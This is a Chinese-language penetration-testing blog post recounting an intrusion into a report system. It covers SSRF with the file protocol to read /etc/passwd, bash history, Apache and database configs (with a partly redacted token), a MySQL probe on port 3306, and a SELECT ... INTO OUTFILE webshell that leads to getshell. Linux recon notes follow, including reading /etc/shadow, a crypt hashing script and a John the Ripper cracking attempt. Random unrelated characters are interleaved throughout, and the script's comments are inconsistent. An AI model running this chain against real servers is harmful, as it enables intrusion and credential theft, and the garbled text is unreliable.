【本文只限于學(xué)習(xí)躲株,請勿進(jìn)行惡意攻擊】
之前挖了一個(gè)報(bào)表系統(tǒng)的SSRF漏洞,沒有限制相關(guān)的協(xié)議,先探測了一下Redis發(fā)現(xiàn)沒開详囤,然后用file協(xié)議讀取了相關(guān)的文件,如/etc/passwd镐作,/.bash_history等藏姐,在bash_history中,有很多記錄该贾,通過file對記錄中路徑的文件名進(jìn)行內(nèi)容查詢可以得到一些相關(guān)信息
(1)vi /opt/php5.6/etc/php.ini
PHP版本5.6
(2)/opt/apache2.4/conf/httpd.conf
Listen 80
Listen 443
Listen 8090
Listen 8091
Listen 9096
<VirtualHost _default_:443>
ServerName xmgl
ErrorLog logs/https_error
CustomLog logs/https_access common
SSLEngine on
#SSLMutex default
SSLCertificateFile /opt/apache/conf/server.crt
SSLCertificateKeyFile /opt/apache/conf/server.key
SSLCertificateChainFile /opt/apache/conf/server-ca.crt
#SSLCACertificateFile /opt/apache2/conf/ca.crt
#SSLVerifyClient require
#SSLVerifyDepth 1
#DocumentRoot /opt/apache/conf
DocumentRoot /opt/webdata/www =>得到網(wǎng)站根目錄
</VirtualHost>
(3)/opt/webdata/www/.../access_token.php 為防止惡意用途對Token進(jìn)行一定省略
<?php exit();?>{"expire_time":1590728461,"access_token":"33_KdzEiKFqb8uDaByhAKuXFtv..."}
(4)/opt/webdata/www/data/config/uc_config.php
/opt/webdata/www/data/config/db.php
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', '127.0.0.1');
define('UC_DBUSER', 'XXX');
define('UC_DBPW', 'XXXXXX');
define('UC_DBNAME', 'XXXX_2');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE');
define('UC_DBCONNECT', '0');
define('UC_KEY');
define('UC_API');
define('UC_CHARSET', 'utf-8');
define('UC_IP', '');
define('UC_APPID', '4');
define('UC_PPP', '20');
define('COOKIE_DOMIAN'');
既然有數(shù)據(jù)庫配置信息http://XXX.com?url=http://127.0.0.1:3306
羔杨,得到了回顯
N
5.5.36-log 韉L?v=l)&"vO ?? ?€? g;,kXX1)yI>; mysql_native_password ! ??#08S01Got packets out of order
既得到了數(shù)據(jù)庫版本也證明了3306可以訪問。
根據(jù)文件中得到的Ip地址杨蛋、用戶名兜材、密碼,通過3306端口逞力,本地Navicat可以直接連接上數(shù)據(jù)庫曙寡。然后通過Mysql上傳木馬
SELECT '<?php phpinfo(); ?>' into outfile '/opt/webdata/www/.../back.php';
這個(gè)上傳路徑要選擇一個(gè)前臺(tái)可訪問的路徑。這樣訪問木馬即可看到phpinfo的相關(guān)信息寇荧,phpinfo中的相關(guān)信息有很多內(nèi)容卵皂,例如PHP版本、內(nèi)核版本砚亭、配置文件信息灯变、支持的PHP流過濾器、Core中顯示的是否能進(jìn)行文件包含捅膘、是否有錯(cuò)誤提示(display_errors)添祸、能否動(dòng)態(tài)加載(enable_dl)、文件包含時(shí)的默認(rèn)路徑(include_path)寻仗、文件讀取時(shí)的目錄限制(open_basedir)刃泌、是否支持短標(biāo)簽(在寫shell時(shí)有幫助)等。
服務(wù)器上同時(shí)部署了PHP項(xiàng)目和Java項(xiàng)目,現(xiàn)在PHP可以搞定耙替,但是PHP的木馬沒有Java權(quán)限搞亚侠。找到Java中可訪問的目錄同樣用數(shù)據(jù)庫的方式寫入木馬,訪問即可getshell俗扇。一些滲透最基礎(chǔ)的知識(shí)羅列在下面硝烂。慢慢補(bǔ)充。
1. Linux密碼基礎(chǔ)知識(shí)
Linux密碼信息保存在兩個(gè)文件中铜幽,分別為:/etc/passwd
和/etc/shadow
滞谢,前者可以使用普通用戶權(quán)限進(jìn)行查看,后者只有root用戶權(quán)限才能查看除抛,保存加密后的密碼和用戶的相關(guān)密碼信息
(1)/etc/passwd
:每一行代表一個(gè)用戶狮杨,每一行通過冒號(hào)分為七個(gè)部分
1 用戶名:2 密碼:3 UID(0代表root):4 GID:5 描述信息:6 用戶主目錄:7 默認(rèn)shell類型
root:x:0:0:root:/root:/bin/bash
ps:密碼如果是x意味著保存在/etc/shadow
(2)/etc/shadow
,每一行代表一個(gè)用戶到忽,每一行通過冒號(hào)分為九個(gè)部分
1 用戶名:2 加密后的密碼:3 上次修改密碼的時(shí)間:4 兩次修改密碼間隔的最少天數(shù)(為0橄教,則沒有限制):
5 兩次修改密碼間隔最多的天數(shù)(表示該用戶的密碼會(huì)在多少天后過期,如果為99999則沒有限制):
6 提前多少天警告用戶密碼將過期:7 在密碼過期之后多少天禁用此用戶:
8 用戶過期日期(從1970.1.1開始的總天數(shù))喘漏,如果為0颤陶,則該用戶永久可用:9 保留
root:$6$idQ/7/ks6M$BH82/f3xFiWTg6iIdXR68VGh1kA8GPKNG8u8eQW8hdwkhuGC.SLIslNiJ9Spk.6dGxhgA0wBYjII.kKEJXO7..:18075:0:99999:7:::
需要注意的是這里的3修改密碼的時(shí)間是從1970.1.1開始的總天數(shù),可以看到示例密碼從1970.1.1開始的總天數(shù)為18075陷遮,密碼間隔沒有限制(0)滓走,最多天數(shù)沒有限制,提前7天警告用戶密碼將過期帽馋,該用戶可永久使用(保留)搅方。
另外2密碼是加密過的,其加密格式為$ ID $ SALT $ ENCRYPTED
绽族,SALT
為隨機(jī)字符串(最長不超16)姨涡,ENCRYPTED
是密碼的Hash值。ID
值有如下幾種:
ID=1:MD5(hash長度22)
ID=5:SHA-256(hash長度43)
ID=6:SHA-512(hash長度86)
ID=2:blowfish 加密算法
以MD5為例吧慢,其密碼生成過程模仿如下涛漂,假設(shè)密碼為hello123,再生成隨機(jī)數(shù)randomSalt(假設(shè)為8位)检诗,最后生成hash值匈仗。
import random
import string
import crypt
Passwd= ' hello123 '
randomSalt = '' .join(random.sample(string.ascii_letters, 8 ))
#產(chǎn)生SHA-512密碼hash
Hash = crypt.crypt(Passwd, ' $6$%s$ ' % randomSalt)
print (Hash) #$1$ympviwQO$ypOVhoNbR/5uXgtk9NZVA/
John the ripper1.8.0版本,服務(wù)上跑破解一波逢慌,沒跑出SHA-512的root密碼
2. Linux目錄文件
Linux根目錄主要包括如下
/boot:操作系統(tǒng)啟動(dòng)時(shí)要用到的程序悠轩。
/dev:包含了所有 Linux 系統(tǒng)中使用的外部設(shè)備。需要注意的是這里并不是存放外部設(shè)備的驅(qū)動(dòng)程序攻泼,而是一個(gè)訪問這些設(shè)備的端口火架。
/etc:存放系統(tǒng)管理時(shí)要用到的各種配置文件和子目錄鉴象。
/etc/rc.d:存放 Linux 啟動(dòng)和關(guān)閉時(shí)要用到的腳本。
/home:普通用戶的主目錄何鸡。
/lib纺弊、/lib64:鏈接到 /usr/lib,存放系統(tǒng)及軟件需要的動(dòng)態(tài)鏈接共享庫骡男。
/mnt:這個(gè)目錄讓用戶可以臨時(shí)掛載其他的文件系統(tǒng)淆游。
/proc:虛擬的目錄,是系統(tǒng)內(nèi)存的映射洞翩』纾可直接訪問這個(gè)目錄來獲取系統(tǒng)信息焰望。
/root:系統(tǒng)管理員的主目錄骚亿。
/srv:存放一些服務(wù)啟動(dòng)之后需要提取的數(shù)據(jù)。
/sys:該目錄下安裝了一個(gè)文件系統(tǒng) sysfs熊赖。該文件系統(tǒng)是內(nèi)核設(shè)備樹的一個(gè)直觀反映来屠。當(dāng)一個(gè)內(nèi)核對象被創(chuàng)建時(shí),對應(yīng)的文件和目錄也在內(nèi)核對象子系統(tǒng)中被創(chuàng)建震鹉。
/tmp:公用的臨時(shí)文件存放目錄俱笛。
/usr:應(yīng)用程序和文件幾乎都在這個(gè)目錄下。
/usr/src:內(nèi)核源代碼的存放目錄传趾。
/var:存放了很多服務(wù)的日志信息迎膜。
2.1 /etc/passwd
那么從Linux文件的角度再來看一下上文所述的/etc/passwd
,每行代表了一個(gè)用戶浆兰,但其中大多數(shù)都是系統(tǒng)或服務(wù)運(yùn)行所需的偽用戶磕仅,不能用于登錄系統(tǒng)也不能被刪除,否則會(huì)導(dǎo)致系統(tǒng)問題簸呈。
1 用戶名:2 密碼:3 UID(0代表root):4 GID:5 描述信息:6 用戶主目錄:7 默認(rèn)shell類型
root:x:0:0:root:/root:/bin/bash
密碼X
:/etc/passwd文件對所有用戶都可讀代表著不安全榕订,許多Linux系統(tǒng)都使用了shadow技術(shù),把真正的加密后的用戶口令字存放到/etc/shadow文件中蜕便,而在/etc/passwd文件的口令字段中只存放一個(gè)特殊的字符劫恒,例如“x”或者“*”。
用戶標(biāo)識(shí)號(hào)UID
:一個(gè)整數(shù)轿腺,用來標(biāo)識(shí)用戶两嘴。一般情況下它與用戶名是一一對應(yīng)的。如果幾個(gè)用戶名對應(yīng)的用戶標(biāo)識(shí)號(hào)是一樣的族壳,系統(tǒng)內(nèi)部將把它們視為同一個(gè)用戶溶诞,但是它們可以有不同的口令、不同的主目錄以及不同的登錄Shell等决侈。UID取值范圍是0-65535螺垢。0是超級用戶root的標(biāo)識(shí)號(hào)喧务,1-99由系統(tǒng)保留,作為管理賬號(hào)枉圃,普通用戶的標(biāo)識(shí)號(hào)從100開始功茴。在Linux系統(tǒng)中,這個(gè)界限是500孽亲。組標(biāo)識(shí)號(hào)GID
:字段記錄的是用戶所屬的用戶組坎穿。它對應(yīng)著/etc/group文件中的一條記錄。
登錄Shell
:用戶登錄后返劲,要啟動(dòng)一個(gè)進(jìn)程玲昧,負(fù)責(zé)將用戶的操作傳給內(nèi)核,這個(gè)進(jìn)程是用戶登錄到系統(tǒng)后運(yùn)行的命令解釋器或某個(gè)特定的程序篮绿,即Shell孵延。Shell是用戶與Linux系統(tǒng)之間的接口洗显。Linux的Shell有許多種痛倚,每種都有不同的特點(diǎn)。常用的有sh峡继、csh吼虎、ksh犬钢、tcsh、bash等思灰$栌蹋可指定Shell,如果不指定則默認(rèn)為sh洒疚,所以這個(gè)字段的值為/bin/sh歹颓。
2.2 其他文件
(1)/etc/host
,主機(jī)名和IP配置文件
hosts文件是Linux系統(tǒng)中一個(gè)負(fù)責(zé)IP地址與域名快速解析的文件拳亿,以ASCII格式保存在“/etc”目錄下晴股,Debian中該文件命名為/etc/hostname,系統(tǒng)上所有的網(wǎng)絡(luò)程序都可以通過該文件來解析對于某個(gè)主機(jī)名的IP地址肺魁,否則需要用DNS來解決电湘。通常可以將常用的域名和IP地址映射加入到hosts文件中鹅经,實(shí)現(xiàn)快速方便的訪問寂呛。
一般情況下hosts文件的每行為一個(gè)主機(jī),每行由空格分隔成三部分瘾晃,#號(hào)開頭的行為注解行贷痪。其格式如IP地址 主機(jī)名/域名 主機(jī)名別名
(2)Apache服務(wù)相關(guān)文件【待檢驗(yàn)】
Apache服務(wù)安裝方式可分為RPM包安裝和源代碼安裝兩種,采用RPM包安裝蹦误,默認(rèn)情況下/usr用來存放應(yīng)用程序劫拢,/etc/httpd/conf/httpd.conf
存放配置文件肉津。采用源代碼安裝默認(rèn)在/usr/local/apache
,其配置文件在 /usr/local/apache/conf/httpd.conf
/etc/httpd/:Apache服務(wù)器的根目錄
/etc/httpd/conf/httpd.conf:Apache服務(wù)器的主配置文件舱沧,其中包含指定文檔root的配置
/var/www/html/:Apache服務(wù)器的文檔根目錄 即網(wǎng)站的常用的默認(rèn)根目錄
/etc/init.d/httpd:Apache服務(wù)器啟動(dòng)腳本文件
/var/log/httpd/access_log:Apache服務(wù)器的訪問日志文件
/var/log/httpd/error_log:Apache服務(wù)器的錯(cuò)誤日志文件
(3)PHP
一般Apache安裝php后妹沙,php配置文件默認(rèn)加載位置在php/lib/文件夾下,采用RPM包安裝可能在/etc/目錄下熟吏,配置文件/etc/php.ini距糖。如果是用源代碼安裝,一般在 /usr/local/lib
目錄下牵寺,配置文件 /usr/local/lib/php.ini
或 /usr/local/php/lib/php.ini
或 /usr/local/php/etc/php.ini
或 /usr/local/apache2/conf/php.ini
等
Linux下常用命令
pwd:查詢當(dāng)前目錄
‘~’:home目錄
'.':當(dāng)前目錄 '..':上層目錄 '/':根目錄
ls -a:查看所有 ls -l 文件夾/:查看文件夾里面的文件或目錄
touch .test:創(chuàng)建一個(gè)名為.test的文件
mkdir:創(chuàng)建目錄
more test:查看更多 tail test:查看末尾 head test:查看頭幾行
tree 文件夾名:查看文件夾的樹結(jié)構(gòu)
find / -name 'yum.log':從根(/)目錄開始找yum.log的文件,也可'*.log'通配悍引,路徑可以根據(jù)實(shí)際情況寫如 find /var/ -name 'index.php'
find / -size +10M | xargs ls -lh 找出大于10M的文件并查看結(jié)果的詳細(xì)信息
which ps 或type ps 可找到ps位置
history:查看用過的命令
查看系統(tǒng)版本
cat /etc/*-release
cat /etc/redhat-release
查看內(nèi)核版本
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
查看環(huán)境變量
env
set
查看運(yùn)行服務(wù)(如果要看root權(quán)限下的,就在后面加入| grep root)
ps aux
ps -ef
安裝的應(yīng)用與版本
ls -alh /usr/bin/
rpm -qa
信息與用戶
id帽氓、who趣斤、w、last
敏感文件
cat /etc/passwd
cat /etc/group
cat /etc/shadow
用戶操作記錄
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.php_history
phpstudy套件
網(wǎng)站默認(rèn)路徑
C:\phpstudy\www
httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf
vhosts.conf虛擬主機(jī)
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
LAMPP套件
網(wǎng)站默認(rèn)路徑
/opt/lampp/htdocs
httpd.conf配置文件
/opt/lampp/etc/httpd.conf
vhosts.conf虛擬主機(jī)
/opt/lampp/etc/extra/httpd-vhosts.conf
XAMPP
/opt/lampp/bin/ XAMPP 命令庫杏节。例如 /opt/lampp/bin/mysql 可執(zhí)行 MySQL 監(jiān)視器唬渗。
/opt/lampp/htdocs/ Apache 文檔根目錄典阵。
/opt/lampp/etc/httpd.conf Apache 配制文件奋渔。
/opt/lampp/etc/my.cnf MySQL 配制文件。
/opt/lampp/etc/php.ini PHP 配制文件壮啊。
/opt/lampp/etc/proftpd.conf ProFTPD 配制文件嫉鲸。(從 0.9.5 版開始)
/opt/lampp/phpmyadmin/config.inc.php
phpMyAdmin 配制文件。